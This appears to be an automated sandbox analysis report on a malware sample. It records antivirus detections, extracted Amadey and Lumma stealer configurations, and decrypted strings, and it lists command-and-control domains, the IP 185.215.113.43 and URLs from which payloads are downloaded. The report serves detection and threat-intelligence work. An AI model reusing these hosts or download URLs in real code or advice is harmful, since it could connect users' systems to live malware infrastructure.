Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Avira: detection malicious, Label: HEUR/AGEN.1306040

Found malware configuration

Source: 00000003.00000003.2268719607.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000001C.00000002.2640684228.000000000300C000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: LummaC {"C2 url": ["awake-weaves.cyou", "immureprech.biz", "bellflamre.click", "debonairnukk.xyz", "diffuculttan.xyz", "deafeninggeh.biz", "wrathful-jammy.cyou", "sordid-snaked.cyou", "effecterectz.xyz"], "Build id": "LPnhqo--nbgnxdlxdnyo"}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Netstat\FuturreApp.exe	ReversingLabs: Detection: 28%
Source: C:\Users\Public\Netstat\remcmdstub.exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\m9sfEU9[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\8ZVMneG[1].exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[4].exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[3].exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\1017901001\a4439a2887.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Temp\1017904001\97bf9e137e.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\1017905001\4dd01d90fc.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1017908001\2c36247645.exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Temp\1017913001\97d4b1071f.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Temp\1017914001\db75e03f4b.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\1017917001\7423465717.exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\1017918001\d2256ee69b.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1017919001\b8dc7af2d8.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\1017921001\85070a414c.exe	ReversingLabs: Detection: 54%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[3].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\UZAj8wc[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[5].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[3].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\8ZVMneG[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000054.00000002.3042976212.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sordid-snaked.cyou
Source: 00000054.00000002.3042976212.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: awake-weaves.cyou
Source: 00000054.00000002.3042976212.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: wrathful-jammy.cyou
Source: 00000054.00000002.3042976212.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: debonairnukk.xyz
Source: 00000054.00000002.3042976212.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: diffuculttan.xyz
Source: 00000054.00000002.3042976212.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: effecterectz.xyz
Source: 00000054.00000002.3042976212.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: deafeninggeh.biz
Source: 00000054.00000002.3042976212.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: immureprech.biz
Source: 00000054.00000002.3042976212.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bellflamre.click
Source: 00000054.00000002.3042976212.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000054.00000002.3042976212.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000054.00000002.3042976212.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000054.00000002.3042976212.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000054.00000002.3042976212.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000054.00000002.3042976212.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: LPnhqo--nbgnxdlxdnyo

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe

File opened: C:\Users\Public\Netstat\msvcr100.dll

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: m9sfEU9.exe, 00000051.00000000.2623878059.0000000000160000.00000002.00000001.01000000.0000001F.sdmp, m9sfEU9.exe, 00000051.00000002.2648520740.0000000000160000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: FuturreApp.exe, 00000055.00000002.7290420572.000000006C002000.00000002.00000001.01000000.00000024.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: m9sfEU9.exe, 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000002.7286857048.0000000011193000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: D1UL0FG.exe, 00000006.00000002.3002205748.00007FF8A873C000.00000040.00000001.01000000.0000001A.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: FuturreApp.exe, 00000055.00000002.7288711538.000000006BD70000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_A source: D1UL0FG.exe
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbMM source: D1UL0FG.exe, 00000006.00000002.3011719584.00007FF8B916B000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\libssl-1_1.pdb@@ source: D1UL0FG.exe, 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: FuturreApp.exe, 00000055.00000000.2642607921.0000000000922000.00000002.00000001.01000000.00000022.sdmp, FuturreApp.exe, 00000055.00000002.7276259050.0000000000922000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: D1UL0FG.exe, 00000006.00000002.3002970846.00007FF8A89A0000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3008113833.00007FF8B8281000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-1_1.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3002970846.00007FF8A8A22000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000063.00000002.2839636582.00007FF62B1A0000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: D:\a\1\b\libssl-1_1.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3013531293.00007FF8BFAD1000.00000040.00000001.01000000.00000014.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.pdbhP source: powershell.exe, 00000037.00000002.2645286273.0000021F95B72000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: msvcr100.i386.pdb source: m9sfEU9.exe, 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000002.7289151898.000000006BF21000.00000020.00000001.01000000.00000026.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1t 7 Feb 2023built on: Thu Feb 9 15:27:40 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: D1UL0FG.exe, 00000006.00000002.3002970846.00007FF8A89A0000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: d:\a01\_work\12\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: D1UL0FG.exe, 00000005.00000003.2466075988.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.3014816312.00007FF8BFBA1000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3014453254.00007FF8BFB61000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3008792565.00007FF8B90E1000.00000040.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python310.pdb source: D1UL0FG.exe, 00000006.00000002.3005171596.00007FF8A8E0F000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3013206314.00007FF8BFAB1000.00000040.00000001.01000000.00000019.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: D1UL0FG.exe, 00000006.00000002.3011719584.00007FF8B916B000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: D1UL0FG.exe, 00000005.00000003.2466240727.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.3012961847.00007FF8BA24D000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: FuturreApp.exe, 00000055.00000002.7288711538.000000006BD70000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: FuturreApp.exe, 00000055.00000002.7289981712.000000006BFE5000.00000002.00000001.01000000.00000025.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3011122158.00007FF8B9131000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3012153000.00007FF8B93C1000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewText.pdb source: skotes.exe, 00000003.00000002.7285940039.0000000001390000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000003.5971400666.0000000001402000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.0000000001402000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3010460517.00007FF8B9101000.00000040.00000001.01000000.00000015.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.pdb source: powershell.exe, 00000037.00000002.2645286273.0000021F95B72000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AED83B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_00007FF67AED83B0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AED92F0 FindFirstFileExW,FindClose,	5_2_00007FF67AED92F0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEF18E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	5_2_00007FF67AEF18E4
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AED92F0 FindFirstFileExW,FindClose,	6_2_00007FF67AED92F0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AED83B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	6_2_00007FF67AED83B0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEF18E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	6_2_00007FF67AEF18E4

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: awake-weaves.cyou
Source: Malware configuration extractor	URLs: immureprech.biz
Source: Malware configuration extractor	URLs: bellflamre.click
Source: Malware configuration extractor	URLs: debonairnukk.xyz
Source: Malware configuration extractor	URLs: diffuculttan.xyz
Source: Malware configuration extractor	URLs: deafeninggeh.biz
Source: Malware configuration extractor	URLs: wrathful-jammy.cyou
Source: Malware configuration extractor	URLs: sordid-snaked.cyou
Source: Malware configuration extractor	URLs: effecterectz.xyz
Source: Malware configuration extractor	IPs: 185.215.113.43

Yara detected Generic Downloader

Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1017914001\db75e03f4b.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe, type: DROPPED

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0026E0C0 recv,recv,recv,recv,

0_2_0026E0C0

Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=a44515e6f9fc86eb9935a7da; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35121Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 19 Dec 2024 21:11:10 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECB8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: et https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: FuturreApp.exe, 00000055.00000002.7288711538.000000006BD70000.00000002.00000001.01000000.00000027.sdmp	String found in binary or memory: http://%s/fakeurl.htm
Source: FuturreApp.exe, 00000055.00000002.7288711538.000000006BD70000.00000002.00000001.01000000.00000027.sdmp	String found in binary or memory: http://%s/testpage.htm
Source: FuturreApp.exe, 00000055.00000002.7288711538.000000006BD70000.00000002.00000001.01000000.00000027.sdmp	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: m9sfEU9.exe, 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000002.7286857048.0000000011193000.00000002.00000001.01000000.00000023.sdmp	String found in binary or memory: http://127.0.0.1
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: m9sfEU9.exe, 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000002.7286857048.0000000011193000.00000002.00000001.01000000.00000023.sdmp	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe/
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000003.00000003.5971400666.000000000139C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.00000000012CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php$
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php4
Source: skotes.exe, 00000003.00000003.5972263346.00000000013CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php8001
